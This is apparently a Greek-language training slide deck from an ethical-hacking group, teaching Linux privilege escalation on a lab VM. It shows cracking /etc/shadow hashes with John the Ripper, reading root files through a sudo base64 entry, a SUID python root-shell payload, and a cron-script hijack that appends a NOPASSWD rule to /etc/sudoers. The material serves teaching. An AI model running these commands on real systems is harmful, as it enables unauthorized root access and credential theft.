

The background features a series of concentric circles in light gray, some solid and some dashed, creating a ripple effect. A large, solid red speech bubble is centered on the page, pointing downwards.

(Practical) PrivEsc Techniques

Privilege Escalation

Vertical & Horizontal

- Οκέι, μπήκαμε στο σύστημα. **Now what?**
- ➔ **Privilege Escalation** (Απώτερος στόχος: **Root**)
- 2 είδη:
 - **Vertical:** Αφορά **escalation** μεταξύ χρηστών διαφορετικών **privilege levels** (π.χ. από απλός χρήστης να γίνει κανείς **root** – διαχειριστής του συστήματος)
 - **Horizontal:** Αφορά **escalation** μεταξύ χρηστών ίδιου **privilege level** (δηλαδή αν ένα σύστημα έχει 2 χρήστες, τον **mike** και τον **john** κι εμείς έχουμε συνδεθεί ως **mike**, το να γίνουμε **john** αποτελεί **horizontal privesc**). Αυτό το επιθυμούμε, καθώς τυχαίνει ο χρήστης που είμαστε συνδεδεμένοι να μην έχει κάποιο **misconfiguration/vulnerability** για **vertical privesc**, οπότε θα δοκιμάσουμε και άλλους χρήστες.

`/etc/{passwd,shadow}`

Δύο πολύ σημαντικά
αρχεία για τη
δημιουργία/σύνδεση σε
λογαριασμούς χρηστών

- `/etc/passwd`: Το αρχείο αυτό περιλαμβάνει στοιχεία για τους χρήστες του συστήματος, όπως **home directory**, **shell**, **userid**, **groupid**. Μπορεί να περιλαμβάνει τον κωδικό σε **plaintext**, αλλά είναι ακραίο **vulnerability**

```
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin
saned:x:117:123:./var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125:./nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128:./var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534:./run/gnome-initial-setup:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
ubuntu:x:1000:1000:Mike,,,:/home/ubuntu:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
vboxadd:x:998:1:./var/run/vboxadd:/bin/false
systemd-oom:x:128:136:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
hackable:x:1001:1001:./home/hackable:/bin/bash
```

Ένας απλός χρήστης του συστήματος έχει **by default** δικαιώματα ανάγνωσης ΑΛΛΑ ΟΧΙ ΕΓΓΡΑΦΗΣ σε αυτό το αρχείο.

/etc/{passwd,shadow}

Δύο πολύ σημαντικά
αρχεία για τη
δημιουργία/σύνδεση σε
λογαριασμούς χρηστών

- **/etc/shadow:** Προσέξате το “x” μετά το **username** στο **/etc/passwd**? Αντιστοιχεί στη θέση του κωδικού και δηλώνει ότι ο αντίστοιχος χρήστης έχει καταχώριση στο **/etc/shadow file**. Σε αυτό το αρχείο περιέχονται τα **hashes** των κωδικών των χρηστών. Κάποια σύμβολα (π.χ. ‘*’, ‘!’) δηλώνουν διαφορετική λειτουργία (π.χ. το ‘*’ δηλώνει ότι ο χρήστης δεν μπορεί να συνδεθεί με κωδικό)

```
avahi:!:19432:0:99999:7:::  
kernoops:!:19432:0:99999:7:::  
saned:!:19432:0:99999:7:::  
nm-openvpn:!:19432:0:99999:7:::  
hplip:!:19432:0:99999:7:::  
whoopsie:!:19432:0:99999:7:::  
colord:!:19432:0:99999:7:::  
fwupd-refresh:!:19432:0:99999:7:::  
geoclue:!:19432:0:99999:7:::  
pulse:!:19432:0:99999:7:::  
gnome-initial-setup:!:19432:0:99999:7:::  
gdm:!:19432:0:99999:7:::  
sssd:!:19432:0:99999:7:::  
ubuntu:$6$GwU8T9wld1ojuQG$Amkx19cjz0cEX6gzPtokpfz2LMVn0NjLS6FvXKHsSyEWNf6fVtk3SIQ1erzU8J0gIyZJFcN06C6e8X6w4LiYy/:19499:0:99999:7:::  
systemd-coredump:!:19499:0:99999:7:::  
vboxadd:!:19499:0:99999:7:::  
systemd-oom:!:19499:0:99999:7:::  
hackable:$y$jt$Th30eZDnKCjNrqsuXKCEL1$Fqc2SvxTui5rK.n0nRpx6VfZo2enTgif1EE3cbGGNw7:19766:0:99999:7:::
```

Ένας απλός χρήστης του συστήματος έχει **by default** δικαιώματα ανάγνωσης ΑΛΛΑ ΟΧΙ ΕΓΓΡΑΦΗΣ σε αυτό το αρχείο.

`/etc/{passwd,shadow}`

Δύο πολύ σημαντικά
αρχεία για τη
δημιουργία/σύνδεση σε
λογαριασμούς χρηστών

■ Πότε υπάρχει πρόβλημα?

- Όταν ο χρήστης αποκτά δικαιώματα επεξεργασίας σε οποιοδήποτε από αυτά τα δύο αρχεία (αλλαγή (hash ή plaintext) κωδικού, ή δικαιώματα ανάγνωσης του `/etc/passwd`).

Παράδειγμα (`/etc/shadow` is readable):

```
hackable@ubuntu-VirtualBox:~$ ls -la /etc/shadow
-rw-r--r-- 1 root shadow 1654 0εβ 13 17:08 /etc/shadow
```

`/etc/shadow` entry for user **ubuntu**

```
ubuntu:$6$GwU8T9wld1oj0uQG$Amkx19cjz0cEX6gzPtokpfz2LMVn0NJLs6FxVKHzSyewNF6fVtk3
SIQ1erzU8J0gIyZJFcN06C6e8X6w4LiYy/:19499:0:99999:7:::
```

`/etc/passwd` entry for user **ubuntu**

```
ubuntu:x:1000:1000:Mike,,,:/home/ubuntu:/bin/bash
```

Step 1: “Unshadow” hashes by “combining” /etc/passwd and /etc/shadow (passwd.txt, shadowed_passes respectively)

```
(kali@kali)-[~]  
$ unshadow passwd.txt shadowed_passes > unshadowed_passes.txt
```

Step 2: Crack the hash with a wordlist attack (rockyou.txt) using John The Ripper

```
(kali@kali)-[~/Desktop]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed_passes.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])  
Cost 1 (iteration count) is 5000 for all loaded hashes  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
ubuntu (ubuntu)  
1g 0:00:00:38 DONE (2024-02-18 11:48) 0.02568g/s 3728p/s 3728c/s 3728C/s vicky15..tigger97  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.
```

Ο κωδικός για τον χρήστη ubuntu είναι ubuntu

JohnTheRipper (john): Ένα πολύ χρήσιμο εργαλείο για πραγματοποίηση wordlist attacks σε hashes (δοκιμή λέξεων από μια μεγάλη λίστα για εύρεση της λέξης που δίνει το ζητούμενο hash. Είναι προεγκατεστημένο στα kali, αλλιώς εγκατάσταση με ***sudo apt install john***

Το rockyou.txt είναι μια συχνά χρησιμοποιούμενη wordlist σε CTFs/machines, προέρχεται από διαρροή δεδομένων του site rockyou.com και περιλαμβάνει 133Mb κωδικών που χρησιμοποιούνταν από τους χρήστες τις ιστοσελίδας.

/etc/sudoers

Το υπεύθυνο αρχείο
για τη διαχείριση των
sudo δικαιωμάτων
των χρηστών

- Το αρχείο **sudoers**, μεταξύ άλλων καθορίζει τι προγράμματα μπορεί να τρέξει ένας χρήστης με δικαιώματα άλλων χρηστών.
- **sudo** → **su** + **do** → **switch user** + **do**
- **By default** το αρχείο αυτό μπορεί να διαβαστεί μόνο από τον χρήστη **root** και όσους ανήκουν στην ομάδα **root**

```
-r--r----- 1 root root 1759 Φεβ 14 17:55 /etc/sudoers
```

- Οι γραμμές του αρχείου που καθορίζουν τις δυνατότητες **sudo** κάθε χρήστη είναι οι ακόλουθες:

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
hackable ALL=(ALL:ALL) NOPASSWD: /usr/bin/base64
```

Κάθε χρήστης μπορεί να δει τα δικαιώματα **sudo** του με χρήση της εντολής: **sudo -l**:

```
User hackable may run the following commands on ubuntu-VirtualBox:
(ALL : ALL) NOPASSWD: /usr/bin/base64
```


***binaries**: Προγράμματα. Ακόμα και οι απλές εντολές στα linux (π.χ. `cat`, `ls` κτλ) αντιστοιχούν σε εκτελέσιμα **binaries** (`/usr/bin/{cat,ls}`). Εύρεση **binary** κάθε εντολής → Εντολή `which`

`/etc/sudoers`

Επεξήγηση της
σύνταξης των
γραμμών user
privilege

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
hackable ALL=(ALL:ALL) NOPASSWD: /usr/bin/base64
```

Τα **binaries*** που επιτρέπεται να τρέξει ο χρήστης **hackable** με **sudo**

Ο χρήστης **hackable** μπορεί να τρέξει με **sudo** τα επόμενα **binaries** χωρίς **password**

Οι ομάδες (**groups**) ως τις οποίες επιτρέπεται ο χρήστης **hackable** να τρέξει **sudo**

Οι χρήστες ως τους οποίους επιτρέπεται ο χρήστης **hackable** να τρέξει **sudo**

Το **domain** στο οποίο επιτρέπεται να τρέξει ο χρήστης **hackable** την εντολή **sudo** (π.χ. για το prompt `mike@kali:~/`, το **domain** είναι `kali`)

Εδώ, η πρώτη γραμμή μας λέει ότι ο **root** μπορεί να τρέξει σε όλα τα **domains** και ως όλοι οι χρήστες/**groups**, όλες τις εντολές/**binaries**.

Η δεύτερη μας λέει ότι το μόνο **binary** που μπορεί να τρέξει ο χρήστης **hackable** με **sudo** είναι το `/usr/bin/base64` (σε όλα τα **domains** και ως όλοι οι χρήστες/**groups**), και μάλιστα χωρίς να χρειάζεται κωδικό. Αυτό, όπως θα δούμε είναι προβληματικό!

Εκτέλεση `sudo -l` στον χρήστη `hackable`

```
User hackable may run the following commands on ubuntu-VirtualBox:  
(ALL : ALL) NOPASSWD: /usr/bin/base64
```

Βλέπουμε ότι μπορούμε να εκτελέσουμε την εντολή `base64 (/usr/bin/base64)` ως οποιοσδήποτε χρήστης, άρα και ως **root**.

Από το `man page` του `command base64`

Name

`base64` - `base64` encode/decode data and print to standard output

Συνεπώς, το `sudoers entry`, ουσιαστικά μας λέει ότι επιτρέπεται να εκτελέσουμε την εντολή `base64` σε οποιοδήποτε αρχείο έχουμε δικαιώματα `read` και να πάρουμε σε `base64` τα περιεχόμενά του. Το γεγονός ότι μπορούμε να εκτελέσουμε την εντολή ως `root`, μας επιτρέπει να διαβάσουμε **οποιοδήποτε αρχείο!**

Πώς είναι, όμως, χρήσιμο αυτό?

Έστω ότι στον φάκελο `root` υπάρχει το αρχείο `/root/super_secret.txt`. Το αρχείο αυτό μπορεί να το διαβάσει μόνο ο χρήστης `root`:

```
root@ubuntu-VirtualBox:~# ls -la super_secret.txt
-rw----- 1 root root 21 0εβ 13 17:43 super_secret.txt
```

Ένα απλό `cat` του αρχείου από τον χρήστη `hackable`, επιβεβαιώνει ότι δεν έχουμε άδεια ανάγνωσης:

```
hackable@ubuntu-VirtualBox:~$ cat /root/super_secret.txt
cat: /root/super_secret.txt: Permission denied
```

Ωστόσο, με βάση τα προηγούμενα, μπορούμε να τρέξουμε την εντολή `sudo` ως `root` και να πάρουμε τα περιεχόμενα του αρχείου!

```
hackable@ubuntu-VirtualBox:~$ sudo -u root /usr/bin/base64 /root/super_secret.t
xt
T01HIFlPVSBGT1VORCBNRUVFISEK
```

Το flag `-u` μας δηλώνει τον χρήστη ως τον οποίο θέλουμε να τρέξει η επόμενη εντολή. Εδώ θα τρέξει ως `root`. Στην περίπτωση του `root`, το flag αυτό μπορεί να παραληφθεί.

Η εντολή `base64` μπορεί να χρησιμοποιηθεί και για να κάνουμε `decode` τα περιεχόμενα ως εξής:

```
hackable@ubuntu-VirtualBox:~$ sudo base64 /root/super_secret.txt | base64 -d
OMG YOU FOUND MEEE!!
```

Μια παρατήρηση

Γιατί στο τελευταίο σκριν
γράψαμε `base64` αντί για
`/usr/bin/base64`?

Γράφοντας σκέτο `base64` υπονοείται το `/usr/bin/base64`.
Αυτό, μπορούμε να το δούμε εκτελώντας την εντολή `which`:

```
hackable@ubuntu-VirtualBox:~$ which base64  
/usr/bin/base64
```

Γενικά:

Στα **Linux**, υπάρχει μια ιεραρχία διαδρομών με την οποία ένα εκτελέσιμο αναζητάται στο σύστημα. Η ιεραρχία αυτή καθορίζεται από τη μεταβλητή περιβάλλοντος **PATH**:

```
hackable@ubuntu-VirtualBox:~$ echo $PATH  
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
```

Το εκτελέσιμο θα αναζητηθεί στους φακέλους με τη σειρά που καθορίζονται στο **PATH**.

Έτσι, το `base64` θα αναζητηθεί πρώτα στο `/usr/local/sbin`, αν δε βρεθεί στο `/usr/local/bin` κτλ. Αν αντιγράψαμε το `base64` στο `/usr/local/sbin` (π.χ ως root με `cp /usr/local/bin/base64 /usr/local/sbin`), θα χρησιμοποιούνταν αυτό, καθώς το `/usr/local/sbin` βρίσκεται πριν το `/usr/local/bin` στο **PATH**

```
hackable@ubuntu-VirtualBox:/home/ubuntu$ which base64  
/usr/sbin/base64
```

Σκεφτείτε πώς αυτό θα μπορούσε να γίνει επικίνδυνο

SUID/SGID-bit

One extra permission
appears

- Μέχρι τώρα γνωρίζουμε ότι υπάρχουν **3 permissions**: **read, write, execute (rwx)** για **3 κατηγορίες χρηστών** (**owner, group, everyone else**)
- Υπάρχει όμως ακόμα ένα **special permission (s)**, το οποίο μπορεί να αναφέρεται στον **user/owner (SUID)** ή στο **group (SGID)**

```
-rwsr-sr-x 1 root root 5913032 Ιουν 11 2023 /usr/bin/python3.10
```

SUID SGID

- **SUID Set**: Το **binary** εκτελείται ως ο χρήστης στον οποίο ανήκει το αρχείο, άσχετα με το ποιος έτρεξε το **binary**
- **SGID Set**: Το **binary** εκτελείται ως το **group** στο οποίο ανήκει το αρχείο, άσχετα με το ποιος έτρεξε το **binary**

Για να βρούμε **binaries** με **SUID bit set** τρέχουμε την εντολή `find <dir_name> -perm /4000`, ενώ για **SGID** την εντολή `find <dir_name> -perm /2000`

Πώς όμως αυτό είναι επικίνδυνο;

```
-rwsr-sr-x 1 root root 5913032 Ιουν 11 2023 /usr/bin/python3.10
```

Το binary `python3.10` έχει το **SUID bit Set**. Αυτό σημαίνει ότι κάθε φορά που θα τρέχουμε το command `python3.10` με τον χρήστη `hackable`, αυτό θα τρέχει ως `root`.

Αυτό μπορούμε να το εκμεταλλευτούμε μέσω του ακόλουθου `payload`:

```
hackable@ubuntu-VirtualBox:/home/ubuntu$ python3.10 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
```

Breakdown του παραπάνω command:

- Με το flag `-c` ζητάμε από την `python` να εκτελέσει τον επακόλουθο `python` κώδικα
- `import os`: Με αυτόν τον κώδικα φορτώνουμε το `module os` που χρησιμοποιείται για εκτέλεση εντολών συστήματος
- `os.execl("/bin/sh", "sh", "-p")`: Εκτέλεση της εντολής `sh` με το flag `-p` (ισοδύναμο με το να γράψει κανείς σε terminal `sh -p`). Το flag `-p` είναι απαραίτητο ώστε το `shell` που θα προκύψει να μη χάσει τα `privileges` του `root`.

Με αυτόν τον τρόπο παίρνουμε `shell` στο οποίο με την εντολή `whoami` μπορούμε να επιβεβαιώσουμε ότι είμαστε `root`! Αυτό οφείλεται στο γεγονός ότι η `python` ήταν **configured** να τρέχει ως `root` λόγω του **SUID** κι εμείς το εκμεταλλευτήκαμε.

GTFOBins

Πρόκειται για μια ιστοσελίδα στην οποία μπορεί κανείς να διαπιστώσει αν ένα **binary** είναι **misconfigured** και μπορεί να οδηγήσει σε **Privilege Escalation** (δύο τέτοια **misconfigurations** είναι το **SUID** και το **Sudo** που είδαμε νωρίτερα).

Limited SUID

Search among 389 binaries: <binary> +<function> ...

Binary	Functions
<u>7z</u>	File read Sudo

Στο πεδίο της αναζήτησης γράφουμε το όνομα του **binary** που θέλουμε. Αν αυτό εμφανιστεί στα αποτελέσματα και ΕΧΕΙ ΤΟ ΑΝΤΙΣΤΟΙΧΟ FUNCTION (SUID, Sudo etc), τότε το επιλέγουμε.

Παράδειγμα: **base64**

base64

File read SUID Sudo

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which python) .
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Παράδειγμα: **python**

Binary	Functions
<u>python</u>	Shell Reverse shell File upload File download File write File read Library load SUID Sudo Capabilities

Cron jobs

Είναι πάντα ασφαλής ο αυτοματισμός;

- **Cron jobs:** Πρόκειται για αυτοματοποιημένα **tasks** που εκτελούνται αυτόματα ανά καθορισμένα χρονικά διαστήματα από το σύστημα με τη βοήθεια του **scheduler cron**
- Τα **scheduled tasks** υπάρχουν στο αρχείο **/etc/crontab**, το οποίο μπορούν να διαβάσουν όλοι οι χρήστες (και όπως είναι λογικό, να επεξεργαστεί μόνο ο **root**)

```
hackable@ubuntu-VirtualBox:~$ ls -la /etc/crontab  
-rw-r--r-- 1 root root 1197 Φεβ 13 17:15 /etc/crontab
```

- Εσωτερικά το **crontab** μοιάζει ως εξής:

```
# Example of job definition:  
# ----- minute (0 - 59)  
# | ----- hour (0 - 23)  
# | | ----- day of month (1 - 31)  
# | | | ----- month (1 - 12) OR jan,feb,mar,apr ...  
# | | | | ----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat  
# | | | | |  
# * * * * * user-name command to be executed  
17 * * * * root cd / && run-parts --report /etc/cron.hourly  
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )  
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )  
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )  
* * * * * root (sleep 30; /home/hackable/backup.sh)
```



```
# Example of job definition:
# ----- minute (0 - 59)
# | ----- hour (0 - 23)
# | | ----- day of month (1 - 31)
# | | | ----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | ----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root (sleep 30; /home/hackable/backup.sh)
```

- Όπως προκύπτει και από τη **default** περιγραφή που δίνει το αρχείο για τα **cronjobs**, ένα **cronjob** έχει την ακόλουθη μορφή:

minute_of_hour hour_of_day day_of_month month_of_year day_of_week user_name command

Ο αστερίσκος ισοδυναμεί με τη λέξη «κάθε (ώρα/λεπτό/μήνα κτλ)»

Παράδειγμα:

25 6 * * * root test -x /usr/sbin/anacron → Η εντολή *test -x /usr/sbin/anacron* θα εκτελείται από τον χρήστη **root** κάθε μήνα, κάθε μέρα της εβδομάδος και κάθε μέρα του μήνα στις 06:25.

* * * * * root (sleep 30; /home/hackable/backup.sh) → Οι εντολές (*sleep 30; /home/hackable/backup.sh*) θα εκτελούνται κάθε λεπτό (κάθε ώρας, κάθε μέρας. κάθε μήνα) από τον χρήστη **root**. Το **sleep 30;** Δηλώνει ότι προστίθεται μια επιπλέον καθυστέρηση 30 δευτερολέπτων πριν την εκτέλεση του script **/home/hackable/backup.sh**.

Μπορεί όμως κάτι τέτοιο να είναι επικίνδυνο;

→ Εξαρτάται από τα δικαιώματα που έχει ο χρήστης **hackable** στο αρχείο **/home/hackable/backup.sh**

Εύκολα διαπιστώνουμε ότι ο χρήστης **hackable** μπορεί όχι μόνο να διαβάσει, αλλά και να γράψει το **backup.sh**:

```
hackable@ubuntu-VirtualBox:~$ ls -la backup.sh
-rwxrwxr-x 1 hackable hackable 107 Φεβ  14 17:56 backup.sh
```

Το **script** αυτό έχει τα εξής περιεχόμενα:

```
if test -f /home/hackable/welcome.txt; then
:
else
echo "Hello World" >> /home/hackable/welcome.txt
fi
```

Συνεπώς, κάθε λεπτό (1:30 λεπτό αν συμπεριλάβουμε το **sleep 30**;) ελέγχεται η ύπαρξη του αρχείου **welcome.txt** . Αν το αρχείο αυτό δεν υπάρχει, δημιουργείται με περιεχόμενο “Hello World”

Εμείς όμως, μπορούμε να γράψουμε ό,τι θέλουμε σε αυτό το **script**. Μάλιστα αφού το **cron job** εκτελείται από τον χρήστη **root**, θα έχει και τα δικαιώματα του **root**, πράγμα το οποίο μας επιτρέπει να κάνουμε ό,τι θέλουμε στο σύστημα.

Μια καλή ιδέα θα ήταν δώσουμε στον χρήστη **hackable** δικαιώματα διαχειριστή εισάγοντας την ακόλουθη γραμμή.

```
echo "hackable ALL=(ALL : ALL) NOPASSWD: ALL" >> /etc/sudoers
```

Η εντολή αυτή προσθέτει στο τέλος του αρχείου **sudoers** (θυμηθείτε προηγούμενη διαφάνεια) τη γραμμή **hackable ALL=(ALL : ALL) NOPASSWD: ALL**, η οποία ουσιαστικά δίνει τη δυνατότητα στον χρήστη **hackable** να τρέχει όλες τις εντολές με **sudo** ως **root**, χωρίς μάλιστα να χρειαστεί να βάλει τον κωδικό του (ιδανικό αν δεν ξέρουμε τον κωδικό του **hackable**)

Πράγματι, ύστερα από αυτήν την αλλαγή στο **backup.sh** αν περιμένουμε 1:30 λεπτό το πολύ και τρέξουμε την εντολή **sudo -l** θα δούμε ότι οι αλλαγές έχουν περάσει στο αρχείο **sudoers**:

```
User hackable may run the following commands on ubuntu-VirtualBox:
  (ALL : ALL) NOPASSWD: /usr/bin/base64
  (ALL : ALL) NOPASSWD: ALL
```

Τότε, μπορούμε να γίνουμε **root** και να αποκτήσουμε πρόσβαση σε όλο το σύστημα:

```
hackable@ubuntu-VirtualBox:~$ sudo su
root@ubuntu-VirtualBox:/home/hackable#
```

Κατακλείδα - Resources

Όταν αλλάζουμε τα default settings των linux πρέπει να είμαστε προσεκτικοί, καθώς ακόμα και μια μικρή αλλαγή μπορεί να οδηγήσει το σύστημα σε σοβαρό vulnerability

- Οι παραπάνω ήταν μόνο μερικοί από τους τρόπους πραγματοποίησης του **privilege escalation** στα linux
- Για μια πλήρη λίστα των **documented privesc vectors**, πολύ χρήσιμη στα **Machines** και με περιγραφές του καθένα δείτε το site [Hacktricks](#)
- Το [LinPEAS](#) σκανάρει αυτόματα το σύστημα για **privesc exploits** και εξοικονομεί πολύ χρόνο, οπότε να το τρέχετε όταν μπορείτε σε **machines**
- Αν θέλετε να δείτε όσα αναφέρθηκαν πρακτικά και να μάθετε και άλλα πράγματα, δείτε τα δωμάτια του TryHackMe: [Linux PrivEsc](#), [Linux Privilege Escalation](#)
- Για περισσότερες πληροφορίες για τα `/etc/{passwd,shadow,sudoers,crontab}`, καθώς και για τα **file permissions** δείτε και το **guide** μας:

[Linux Introduction](#) (Concepts → {Sensitive files, Permissions})

Ευχαριστούμε πολύ!!

Οι παραπάνω διαφάνειες ήταν προϊόν **googling** σε συνδυασμό με δική μου εμπειρία, οπότε αν βρείτε λάθη επικοινωνήστε να τα διορθώσουμε!!

Με αυτές κλείνει ο πρώτος κύκλος του **ethical hacking** που αφορούσε το **Penetration Testing**. Σας ευχαριστούμε πολύ που ήσασταν μαζί μας σε αυτήν τη διαδρομή!!